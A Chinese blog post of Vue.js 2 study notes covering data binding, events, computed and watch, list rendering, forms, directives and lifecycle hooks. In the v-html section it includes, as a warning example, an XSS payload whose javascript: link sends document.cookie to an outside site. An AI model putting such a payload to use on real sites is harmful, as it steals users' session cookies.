Vue基础

这篇博客详细介绍了Vue.js的基础知识,包括数据绑定(单向和双向)、事件处理、事件修饰符(如.prevent和.stop)以及计算属性和监听(computed与watch)。还涵盖了Vue的生命周期、自定义指令和列表渲染等核心概念。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

笔记是跟着尚硅谷的天禹老师所做,老师讲的真的很好!
vue推荐使用插件Vue 3 Snippets、Vetur 作者:Pine Wu

1.数据绑定

1.1. 单向数据绑定

  1. 语法:v-bind:href =“xxx” 或简写为 :href
  2. 特点:数据只能从 data 流向页面

1.2. 双向数据绑定

  1. 语法:v-mode:value=“xxx” 或简写为 v-model=“xxx”
  2. 特点:数据不仅能从 data 流向页面,还能从页面流向 data
  3. 备注:
    3.1.双向绑定一般都应用在表单类元素上(如:input、select等)
    3.2.v-model可以简写为v-model,因为v-model默认收集的就是value值

2.绑定容器的两种方式(el和$mount)

    <div id="root">
        <input type="text" v-model:value="name" />
    </div>


    <script type="text/javascript">
        const v = new Vue({
            //el: '#root', //第一种绑定方式
            data: {
                name: '张三'
            }
        })
        setTimeout(() => {
            v.$mount('#root') //第二种绑定方式
        }, 1000)
    </script>

3.data的两种写法

3.1.对象式

    <script type="text/javascript">
        const v = new Vue({
            el: '#root', 
            data: {
                name: '张三'
            }
        })
    </script>

3.2.函数式

    <script type="text/javascript">
        const v = new Vue({
            el: '#root',
            data: function() {
                return {
                    name: '张三'
                }
            }
        })
    </script>

4.Object.defineProperty用法

使用该方法为对象中添加新的属性

    <script type="text/javascript">
        let number = 80
        let person = {
            name: '张三',
            sex: '男'
        }

        Object.defineProperty(person, 'age', {
            value: 18,
            enumerable: true, //控制属性是否可以枚举,默认是false
            writable: true, //控制属性是否可以被修改,默认是false
            configurable: true, //控制属性是否可以被删除,默认是false

            //当有人读取person的age属性时,get函数就会被调用,且返回值是age的值
            get: function() {
                return number
            },

            //当有人修改person的age属性时,set函数就会被调用,且会收到修改的属性
            set(value) {
                number = value
            }

        })
        console.log(person)
    </script>

5.事件处理

事件的基本使用:

  1. 使用v-on:xxx 或@xxx绑定事件,其中xxx是事件名,比如@click
  2. 事件的回调需要配置在methods对象中,最终会在vm上
  3. methods中配置的函数,不要用箭头函数!否则this就不指向vm了
  4. methods中配置的函数,都是被Vue所管理的函数,this的指向是vm 或 组件实例对象
  5. @click=“demo” 和 @click="demo($event)"效果一致,但后者可以传参

6.事件修饰符

6.1.Vue中的事件修饰符:

  1. prevent:阻止默认事件(常用)
  2. stop:阻止事件冒泡(常用)
  3. once:事件只触发一次(常用)
  4. capture:使用事件的捕获模式
  5. self:只有event.target是当前操作的元素时才触发事件
  6. passive:事件的默认行为立即执行,无需等待时间回调执行完毕
    列如使用@wheel绑定鼠标滚轮事件时,执行的顺序是先执行回调函数,等回调函数执行完毕,浏览器的滚轮才会往下滚动,使用passive后,浏览器的滚轮就不用等待回调函数执行完毕了。但是这种使用的很少,因为@scroll监听浏览器滚动条,不用等待回调函数执行。

6.2. event.preventDefault()和@click.prevent

使用event.preventDefault()能阻止在点击浏览器后进行跳转

    <div id="root">
        <a href="http://www.baidu.com" @click="showInfo">跳转到{{name}}</a>
    </div>

    <script type="text/javascript">
        const vm = new Vue({
            el: '#root',
            data: {
                name: '百度'
            },
            methods: {
                showInfo(event) {
                    event.preventDefault();
                    alert('阻止跳转')
                }
            }
        })
    </script>

而使用@click.prevent也能实现同样的功能

    <div id="root">
        <a href="http://www.baidu.com" @click.prevent="showInfo">跳转到{{name}}</a>
    </div>

    <script type="text/javascript">
        const vm = new Vue({
            el: '#root',
            data: {
                name: '百度'
            },
            methods: {
                showInfo() {
                    alert('阻止跳转')
                }
            }
        })
    </script>

6.3. event.stopPropagation()和@click.stop

当div和button都拥有点击事件时,点击按钮将会导致事件触发两次,为了防止这种冒泡事件触发,可以使用event.stopPropagation()

    <div id="root" @click="showInfo">
        <input type="button" value="阻止冒泡" @click="showInfo" />
    </div>

    <script type="text/javascript">
        const vm = new Vue({
            el: '#root',
            data: {
                name: '百度'
            },
            methods: {
                showInfo(event) {
                    event.stopPropagation();
                    alert('阻止冒泡')
                }
            }
        })
    </script>

@click.stop

    <div id="root" @click="showInfo">
        <input type="button" value="阻止冒泡" @click.stop="showInfo" />
    </div>

    <script type="text/javascript">
        const vm = new Vue({
            el: '#root',
            data: {
                name: '百度'
            },
            methods: {
                showInfo() {
                    alert('阻止冒泡')
                }
            }
        })
    </script>

7.键盘事件

7.1.@keyup和@keydown

    <!-- 
        1.Vue中常用的按键别名
            回车 => enter
            删除 => delete(捕获“删除”和“退格”键)
            退出 => esc
            空格 => space
            换行 => tab(特殊,必须配合keydown使用)
            上 => up
            下 => down
            左 => left
            右 => right

        2.Vue未提供别名的按键,可以使用按键原始的key值去绑定,但注意要转为kebab-case(短横线命名)

        3.系统修饰键(用法特殊):ctrl、alt、shift、meta
            1)配合keyup使用:按下修饰键同时,再按下其他键,随后释放其他键,事件才被触发
            2)配合keydown使用:正常触发事件

        4.也可以使用keyCode去指定具体的按键(不推荐)

        5.Vue.config.keyCodes.自定义按键名 = 键码,可以去定制按键名
     -->

    <div id="root" @click="showInfo">
        <input type="text" placeholder="按下回车输出信息" @keyup.enter="showInfo" />
    </div>

    <script type="text/javascript">
        const vm = new Vue({
            el: '#root',
            data: {
                name: '百度'
            },
            methods: {
                showInfo(event) {
                    console.log(event.target.value);
                }
            }
        })
    </script>

8.计算属性computed与监视watch

8.1.computed计算属性

在vue中有一个属性computed专门用于存放计算属性,同时存在一个缓存,当多次重复调用一个计算属性时,vue会直接将缓存中的结果放出(如果存放于methods则不存在缓存)

计算属性:

  1. 定义:要用的属性不存在,要通过已有属性计算而来。
  2. 原理:底层借助了Object.defineproperty方法提供的getter和setter。
  3. get函数什么时候执行?
    1)初次读取时会执行一次
    2)当依赖的数据发生改变时会被再次调用
  4. 优势:与methods相比,内部有缓存机制(复用),效率更高,调试方便。
  5. 备注:
    1)计算属性最终会出现在vm上,直接读取使用即可。
    2)如果计算属性要被修改,那必须写set函数去响应修改。且set中要引起计算时依赖的数据发生改变。

    <div id="root">
        姓:<input type="text" v-model="firstName"> <br/><br/> 
        名:<input type="text" v-model="secondName"><br/><br/> 
        姓名:<span>{{fullName}}</span>
    </div>

    <script type="text/javascript">
        const vm = new Vue({
            el: '#root',
            data: {
                firstName: '张',
                secondName: '三',
            },
            computed: {
                fullName: {
                    //当有人读取fullName时,get就会被调用,返回值作为fullName的值
                    //get什么时候调用?1.初次读取fullName时。2.所依赖的数据发生变化时。
                    get() {
                        return this.firstName + '-' + this.secondName
                    },
                    //set什么时候调用?当fullName被修改时
                    set(value) {
                        const arr = value.split('-')
                        this.firstName = arr[0]
                        this.secondName = arr[1]
                    }
                }
            }
        })
    </script>

8.2.计算属性的简写

一般计算属性用不到set方法,即如果确定只会用到计算属性的get方法时,可以这样简写

            computed: {
                fullName() {
                    return this.firstName + '-' + this.secondName
                }
            }

8.3.wactch监视

监视属性watch:

  1. 当被监视的属性发生变化时,回调函数自动调用,进行相关操作
  2. 监视的属性必须存在,才能进行监视!
  3. 监视的两种写法:
    1)new Vue时传入watch配置
    2)通过vm.$watch监视
    <div id="root">
        <h1>今天天气很{{info}}</h1>
        <button @click="changeWeather">切换天气</button>
    </div>

    <script type="text/javascript">
        const vm = new Vue({
            el: '#root',
            data: {
                isHot: true,
            },
            computed: {
                info() {
                    return this.isHot ? '热' : '冷'
                }
            },
            methods: {
                changeWeather() {
                    this.isHot = !this.isHot;
                }
            },
            watch: {
                isHot: {
                    immediate: true, //初始化的时候直接调用handler,默认为false
                    //当isHot发生改变时调用handler,同时将变化前的值和变化后的值传进来
                    handler(newValue, oldValue) {
                        console.log(newValue + ',' + oldValue)
                    }
                }
            }
        })
    </script>

还可以使用vm.$watch

        vm.$watch('isHot',{
            immediate: true, //初始化的时候直接调用handler,默认为false
            //当isHot发生改变时调用handler,同时将变化前的值和变化后的值传进来
            handler(newValue, oldValue) {
                console.log(newValue + ',' + oldValue)
            }
        })

8.4.deep深度监视

深度监视:

  1. Vue中的watch默认不监测对象内部值的改变(一层)
  2. 配置deep:true可以监测对象内部值改变(多层)

备注:

  1. Vue自身可以监测对象内部值的改变,但Vue提供的watch默认不可以
  2. 使用watch时根据数据的具体结构,决定是否采用深度监视。
    <div id="root">
        {{numbers.a}}<button @click="numbers.a++">a++</button> {{numbers.b}}
        <button @click="numbers.b++">a++</button>
    </div>

    <script type="text/javascript">
        const vm = new Vue({
            el: '#root',
            data: {
                numbers: {
                    a: 1,
                    b: 1,
                }
            },
            watch: {
                //监视多级结构中某个属性的变化
                'numbers.a': {
                    handler(newValue, oldValue) {
                        console.log(newValue + ',' + oldValue)
                    }
                },
                //监视多级结构中所有属性的变化
                numbers: {
                    deep: true,
                    handler() {
                        console.log("numbers发生改变了")
                    }
                }
            }
        })
    </script>

8.5.监视的简写

            watch: {
                /* isHot: {
                    handler(newValue, oldValue) {
                        console.log(newValue + ',' + oldValue)
                    }
                } */
                isHot() {
                    console.log("被修改了")
                }
            }

8.6.计算属性和监听的区别

computed和watch之间的区别:

  1. computed能完成的功能,watch都可以完成。
  2. watch能完成的功能,computed不一定能完成,例如:watch可以进行异步操作。

两个重要的小原则:
3. 所有被Vue管理的函数。最好写成普通函数,这样this的指向才是vm 或 组件实例对象。
4. 所有不被Vue管理的函数(定时器的回调函数、ajax的回调函数等),最好写成箭头函数,这样this的指向才是vm或组件实例对象。

9.绑定class样式

    <div id="root">
        <button @click="changeBackground">切换壁纸</button>
        <!-- 绑定class样式--字符串写法,适用于:样式的类名不确定,需要动态指定 -->
        <div class="backgroundSize" :class="mybackground"></div>

        <!-- 绑定class样式--数组写法,适用于:需要绑定的样式个数不确定、名字也不确定 -->
        <div class="basic" :class="classArr"></div>

        <!-- 绑定class样式--对象写法,适用于:要绑定的样式个数确定、名字确定,但要动态决定用不用 -->
        <div class="basic" :class="classObj"></div>

    </div>

    <script type="text/javascript">
        const vm = new Vue({
            el: '#root',
            data: {
                mybackground: 'background2',
                classArr: ['css1', 'css2', 'css3'],
                classObj: {
                    css1: true,
                    css2: false,
                    css3: false
                }

            },
            methods: {
                changeBackground() {
                    const arr = ['background1', 'background2', 'background3']
                    const index = Math.floor(Math.random() * 3)
                    this.mybackground = arr[index]
                }
            },
        })
    </script>

10.条件渲染v-if和v-show

条件渲染:

  1. v-if
    写法:
    1)v-if=“表达式”
    2)v-else-if=“表达式”
    3)v-else
    适用于:切换频率较低的场景。
    特点:不展示的DOM元素直接被移除
    注意:v-if可以和v-else-if、v-else一起使用,但要求结构不能被“打断”。

  2. v-show
    写法:v-show=“表达式”
    适用于:切换频率较高的场景。
    特点:不展示的DOM元素未被移除,仅仅是使用display:none给隐藏掉

  3. 备注:
    1)使用v-if时,元素可能无法获取到,而使用v-show一定可以获取到
    2)template只能和v-if一起使用,不能和v-show使用

    <div id="root">
        <span v-show="false">{{n}}</span>
        <span v-if="n != 10">{{n}}</span>
        <button @click="n++">n++</button>
    </div>

    <script type="text/javascript">
        const vm = new Vue({
            el: '#root',
            data: {
                n: 1,
            }
        })
    </script>

11.列表渲染

11.1.v-for

v-for指令

  1. 用于展示列表数据
  2. 语法:v-for="(item,index) in xxx" :key=“yyy”
  3. 可遍历:数组、对象、字符串(用的很少)、指定次数(用的很少)
    <div id="root">
        <ul>
            <li v-for="(p,index) in personList" :key="index">姓名:{{p.name}},性别:{{p.sex}}</li>
        </ul>
    </div>

    <script type="text/javascript">
        const vm = new Vue({
            el: '#root',
            data: {
                personList: [{
                    id: '001',
                    name: "张三",
                    sex: "男"
                }, {
                    id: '002',
                    name: "李四",
                    sex: "男"
                }, {
                    id: '003',
                    name: "王五",
                    sex: "男"
                }, ]
            }
        })
    </script>

11.2.key

react、vue中的key有什么作用?

  1. 虚拟DOM中key的作用:
    1)key是虚拟DOM对象的标识,当数据发生变化时,Vue会根据【新数据】生成【新的虚拟DOM】
    2)随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较,比较规则如下:
  2. 对比规则:
    1)旧虚拟DOM中找到了与新虚拟DOM相同的key:
    ① 若虚拟DOM中内容没变,直接使用之前的真实DOM
    ② 若虚拟DOM中内容改变,则生成新的真实DOM,随后替换掉页面中之前的真实DOM
    2)旧虚拟DOM中未找到与新虚拟DOM相同的key,创建新的真实DOM,随后渲染到页面
  3. 用index作为key可能会引发的问题:
    1)若对数据进行:逆序添加、逆序删除等破坏顺序操作:会产生没有必要的真实DOM更新==》界面效果没问题,但效率低
    2)若结构中还包含输入类的DOM:会产生错误DOM更新==》界面有问题
  4. 开发中如何选择key?:
    1)最好使用每条数据的唯一标识作为key,比如id、手机号、身份证号、学号等唯一值。
    2)如果不存在对数据的逆序添加、逆序删除等破坏顺序操作、仅用于渲染列表用于展示,使用index作为key是没有问题的

在这里插入图片描述

在这里插入图片描述

11.3.watch和computed实现列表过滤

watch实现

    <div id="root">
        <input type="text" placeholder="请输入名字" v-model="name">
        <ul>
            <li v-for="(p,index) in personListST" :key="index">姓名:{{p.name}},性别:{{p.sex}}</li>
        </ul>
    </div>

    <!-- watch实现 -->
    <script type="text/javascript">
        const vm = new Vue({
            el: '#root',
            data: {
                personList: [{
                    id: '001',
                    name: "张三",
                    sex: "男"
                }, {
                    id: '002',
                    name: "李四",
                    sex: "男"
                }, {
                    id: '003',
                    name: "王五",
                    sex: "男"
                }, ],
                name: '',
                personListST: [],
            },
            watch: {
                name: {
                    immediate: true,
                    handler(val) {
                        this.personListST = this.personList.filter((p) => {
                            return p.name.indexOf(val) != -1
                        })
                    }
                }
            }
        })
    </script>

computed实现

    <div id="root">
        <input type="text" placeholder="请输入名字" v-model="name">
        <ul>
            <li v-for="(p,index) in personListST" :key="index">姓名:{{p.name}},性别:{{p.sex}}</li>
        </ul>
    </div>

    <!-- computed实现 -->
    <script type="text/javascript">
        const vm = new Vue({
            el: '#root',
            data: {
                personList: [{
                    id: '001',
                    name: "张三",
                    sex: "男"
                }, {
                    id: '002',
                    name: "李四",
                    sex: "男"
                }, {
                    id: '003',
                    name: "王五",
                    sex: "男"
                }, ],
                name: '',
            },
            computed: {
                personListST() {
                    return this.personList.filter((p) => {
                        return p.name.indexOf(this.name) != -1
                    })
                }
            }
        })
    </script>

11.4.列表排序

    <div id="root">
        <input type="text" placeholder="请输入名字" v-model="name">
        <button @click="sortType=0">原顺序</button>
        <button @click="sortType=1">降序</button>
        <button @click="sortType=2">升序</button>
        <ul>
            <li v-for="(p,index) in personListST" :key="index">姓名:{{p.name}},性别:{{p.sex}}</li>
        </ul>
    </div>

    <!-- watch实现 -->
    <script type="text/javascript">
        const vm = new Vue({
            el: '#root',
            data: {
                personList: [{
                    id: '001',
                    name: "张三",
                    sex: "男"
                }, {
                    id: '002',
                    name: "李四",
                    sex: "男"
                }, {
                    id: '003',
                    name: "王五",
                    sex: "男"
                }, ],
                name: '',
                sortType: 0, //0原顺序、1降序、2升序
            },
            computed: {
                personListST() {
                    const arr = this.personList.filter((p) => { //过滤模糊查询
                        return p.name.indexOf(this.name) != -1
                    })
                    if (this.sortType) { //排序
                        arr.sort((a, b) => {
                            return this.sortType == 1 ? b.id - a.id : a.id - b.id
                        })
                    }
                    return arr
                }
            }
        })
    </script>

12.Vue监视数据(数组操作和$set)

Vue监视数据的原理:

  1. vue会监视data中所有层次的数据

  2. 如何检测对象中数据?
    通过setter实现监视,且要在new Vue时就传入要检测的数据。
    1)对象中后追加的属性,Vue默认不做响应式处理
    2)如需给后添加的属性做响应式,请使用如下API:
    Vue.set(target,propertyName/index,value)或
    vm.$set(target,propertyName/index,value)

  3. 如果监测数组中的数据?
    通过包裹数组更新元素的方法实现,本质是做了两件事:
    1)调用原生对应的方法对数组进行更新
    2)重新解析模版,进而更新页面

  4. 在Vue修改数组中的某个元素时(非对象)一定要用如下方法:
    1)使用这些API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()
    2)Vue.set()或vm. s e t ( ) 特 别 注 意 : V u e . s e t ( ) 和 v m . set() 特别注意:Vue.set()和vm. set()Vue.set()vm.set()不能给vm或vm的根数据对象添加属性

12.1.给对象中添加一个属性

    <div id="root">
        <p>姓名:{{student.name}}</p>
        <p>年龄:{{student.age}}</p>
        <p>学校:{{student.school.name}}-{{student.school.address}}</p>
        <p>爱好:
            <ul>
                <li v-for="(h,index) in student.hobby" :key="index">{{h}}</li>
            </ul>
        </p>
        <!-- student中原来没有sex属性 -->
        <p v-if="student.sex">性别:{{student.sex}}</p>
        <button @click.once="addSex">点我添加性别</button>
    </div>

    <script type="text/javascript">
        const vm = new Vue({
            el: '#root',
            data: {
                student: {
                    name: "张三",
                    age: 18,
                    school: {
                        name: "北京大学",
                        address: "海淀区"
                    },
                    hobby: ['抽烟', '喝酒', '烫头']
                }
            },
            methods: {
                addSex() {
                    //Vue.set(this.student,'sex','男')
                    this.$set(this.student, 'sex', '男')
                }
            }
        })
    </script>

12.2.对数组(不是数组中的对象)进行操作

    <div id="root">
        <p>姓名:{{student.name}}</p>
        <p>年龄:{{student.age}}</p>
        <p>学校:{{student.school.name}}-{{student.school.address}}</p>
        <p>爱好:
            <ul>
                <li v-for="(h,index) in student.hobby" :key="index">{{h}}</li>
            </ul>
        </p>
        <button @click.once="addHobby">点我添加爱好</button>
    </div>

    <script type="text/javascript">
        const vm = new Vue({
            el: '#root',
            data: {
                student: {
                    name: "张三",
                    age: 18,
                    school: {
                        name: "北京大学",
                        address: "海淀区"
                    },
                    hobby: ['抽烟', '喝酒', '烫头']
                }
            },
            methods: {
                addHobby() {
                    this.student.hobby.push('学习')
                }
            }
        })
    </script>

13.收集表单数据

收集表单数据:

  1. 若:<input type="text">,则v-model收集的是value值,用户输入的就是value值。

  2. 若:<input type="radio">,则v-model收集的是value值,且要给标签配置value值。

  3. 若:<input type="checkbox">
    1)没有配置input的value属性,那么手机的就是checked(勾选 or 未勾选,是布尔值)
    2)配置input的value属性:
    ①v-model的初始值是非数组,那么收集的就是checked(勾选 or 未勾选,是布尔值)
    ②v-model的初始值是数组,那么收集的就是value组成的数组

  4. 备注:
    v-model的三个修饰符:
    1)lazy:失去焦点再收集数据
    2)number:输入字符串转为有效的数字
    3)trim:输入首尾空格过滤

    <div id="root">
        <form>
            <p>用户名:<input type="text" placeholder="请输入帐号" v-model="account.username"></p>
            
            <p>密 码:<input type="password" placeholder="请输入密码" v-model="account.password"></p>
            
            <p>性 别:
	           男<input type="radio" name="sex" value="male" v-model="account.sex"><input type="radio" name="sex" value="female" v-model="account.sex">
            </p>
            <p>爱 好: 
	            唱<input name="hobby" type="checkbox" value="" v-model="account.hobby"><input name="hobby" type="checkbox" value="" v-model="account.hobby"> 
	            rap<input name="hobby" type="checkbox" value="rap" v-model="account.hobby">
	        </p>
            <p>所属地:<select v-model="account.place">
                <option value="">请选择所属地</option>
                <option value="beijing">北京</option>
                <option value="shanghai">上海</option>
                <option value="guangdong">广东</option>
                <option value="shenzhen">深圳</option>
            </select></p>
            <p>简介:<textarea v-model="account.message"></textarea></p>
            <input type="checkbox" v-model="account.agree">是否已阅读<a href="http://www.baidu.com">《用户协议》</a>
            <button @click.prevent="submit">注册</button>
        </form>
    </div>

    <script type="text/javascript">
        const vm = new Vue({
            el: "#root",
            data: {
                account: {
                    username: '',
                    password: '',
                    sex: 'male',
                    hobby: [],
                    place: '',
                    message: '',
                    agree: ''
                }
            },
            methods: {
                submit() {
                    console.log(JSON.stringify(this.account))
                }
            }
        })
    </script>

14.Vue不常用内置指令

14.1.v-text向所在标签添加文本

v-text指令:

  1. 作用:向其所在的节点中渲染文本内容
  2. 与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会
    <div id="root">
        <span>{{name}}</span>
        <span v-text="name"></span>
    </div>

    <script type="text/javascript">
        const vm = new Vue({
            el: "#root",
            data: {
                name: "张三"
            }
        })
    </script>

14.2.v-html

v-html

  1. 作用:向指定节点中渲染包含html结构的内容。
  2. 与插值语法的区别:
    1)v-html会替换掉节点中所有的内容,{{xx}}则不会
    2)v-html可以识别html结构。
  3. 严重注意:v-html有安全性问题!!
    1)在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
    2)一定要在可行的内容上使用v-html,用不要用在用户提交的内容上。
    <div id="root">
        <p v-html="str1"></p>
        <p v-html="str2"></p>
    </div>

    <script type="text/javascript">
        const vm = new Vue({
            el: "#root",
            data: {
                str1: '<button>这是一个按钮</button>',
                str2: '<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>给你看个大宝贝</a>'
            }
        })
    </script>

14.3.v-cloak

v-cloak指令(没有值):

  1. 本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。
  2. 使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。
    <style type="text/css">
        [v-cloak] {
            display: none;
        }
    </style>

    <div id="root" v-cloak>
        <p v-html="str1"></p>
        <p v-html="str2"></p>
    </div>

    <script type="text/javascript">
        const vm = new Vue({
            el: "#root",
            data: {
                str1: '<button>这是一个按钮</button>',
                str2: '<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>给你看个大宝贝</a>'
            }
        })
    </script>

14.4.v-once

v-once指令:

  1. v-once所在节点在初次动态渲染后,就视为静态内容了。
  2. 以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。
    <div id="root" v-cloak>
        <p v-once>{{n}}</p>
        <p>{{n}}</p>
        <button @click="n++">点击+1</button>
    </div>

    <script type="text/javascript">
        const vm = new Vue({
            el: "#root",
            data: {
                n: 1,
            }
        })
    </script>

15.5.v-pre

v-pre指令:

  1. 跳过其所在节点的编译过程。
  2. 可利用它跳过:没用使用指令语法、没有使用插值语法的节点,会加快编译

15.自定义指令directives

    <div id="root" v-cloak>
        <h1 v-text="n"></h1>
        <h1 v-big="n"></h1>
        <button @click="n++">点击+1</button>
        <hr>
        <input type="text" v-fbind:value="n">
    </div>

    <script type="text/javascript">
        const vm = new Vue({
            el: "#root",
            data: {
                n: 1,
            },
            directives: {
                //directives中的this指向window
                //big函数何时被调用?1.指令与元素成功绑定时(一上来)。2.指令所在的模版被解析时(例如data改变整个vm模版会重新解析)
                //简写方式相当于只调用了bing和update
                big(element, binding) { //element就是DOM元素 binding是绑定信息,比如传进来的n的值
                    element.innerHTML = binding.value * 10
                },
                fbind: {
                    //指令与元素成功绑定时调用
                    bind(element, binding) {
                        element.value = binding.value
                    },
                    //指令所在元素被插入页面时调用
                    inserted(element, binding) {
                        element.focus()
                    },
                    //指令所在的模版被重新解析时调用
                    update(element, binding) {
                        element.value = binding.value
                        element.focus()
                    },
                }
            }
        })
    </script>

注意,如果要使用全局的自定义指令,可以这样写

        Vue.directive('fbind', {
            //指令与元素成功绑定时调用
            bind(element, binding) {
                element.value = binding.value
            },
            //指令所在元素被插入页面时调用
            inserted(element, binding) {
                element.focus()
            },
            //指令所在的模版被重新解析时调用
            update(element, binding) {
                element.value = binding.value
                element.focus()
            },
        })

16.生命周期

生命周期:

  1. 又名:生命周期回调函数、生命周期函数、生命周期钩子
  2. 是什么:Vue在关键时刻帮我妈调用的一些特殊名称的函数。
  3. 生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的。
  4. 生命周期函数中的this指向是vm或组件实例对象。

常用的生命周期钩子:
1.mounted:发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】
2.beforeDestroy:清除定时器、解绑自定义事件、取消订阅消息等【收尾工作】

关于销毁Vue实例:

  1. 销毁后借助Vue开发者工具看不到任何信息
  2. 销毁后自定义事件会失效,但原生DOM事件依然有效
  3. 一般不会在beforeDestroy操作数据,因为即使操作数据,也不会再触发更新流程了

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值